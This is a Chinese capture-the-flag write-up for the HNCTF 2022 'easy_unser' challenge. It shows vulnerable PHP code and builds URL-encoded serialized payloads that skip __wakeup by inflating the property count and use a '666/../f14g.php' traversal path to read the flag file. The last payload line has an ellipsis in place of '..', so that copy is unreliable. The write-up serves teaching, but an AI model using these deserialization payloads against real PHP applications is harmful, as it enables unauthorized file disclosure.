[HNCTF 2022 WEEK2]easy_unser - 反序列化+wakeup绕过+目录绕过

题目代码：

 
    include 'f14g.php';
    error_reporting(0);
    highlight_file(__FILE__);
    class body{
    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}
    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n 
";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    if (isset($_GET['ywant'])){
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n

1、题目干扰字符太多了，其实简化之后的代码差不多这样

	<?php 
	 include 'f14g.php';
	 class body{
	    private $want;
	    public function  __construct($want){
	        if($want !== " ") $this->want = $want;
	        else $this->want = $this->todonothing;
	    }
	    function __wakeup(){
	        $but = "I can CHANGE you";
	        $this-> want = $but;
	    }
	    function __destruct(){
			if($this->want == "I can CHANGE you")
	            die();
	        if($this->want == "f14g.php" OR is_file($this->want)){
	            die();
	        }else{
	            highlight_file($this->want);
	        }
	    }
	}
	
	$obj = serialize($obj);
	if (isset($_GET['ywant'])){
	    $ywant = @unserialize(@$_GET['ywant']);
	    echo $ywant;
	}
?>

2、起始：body（__construct）、终点：body（__destruct），中间需要绕过__wakeup()
3、构造序列化代码：

 
    class body{
    	private $want="666/../f14g.php",$todonothing;	//666目录不存在，自动寻找f14g.php
    }
    $b = new body();
    //echo serialize($b);
	echo (urlencode(serialize($b)));
?>

得到：
O%3A4%3A%22body%22%3A2%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22666%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3BN%3B%7D
绕过wakeup：
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22666%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3BN%3B%7D

4、payload：
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22666%2F…%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3BN%3B%7D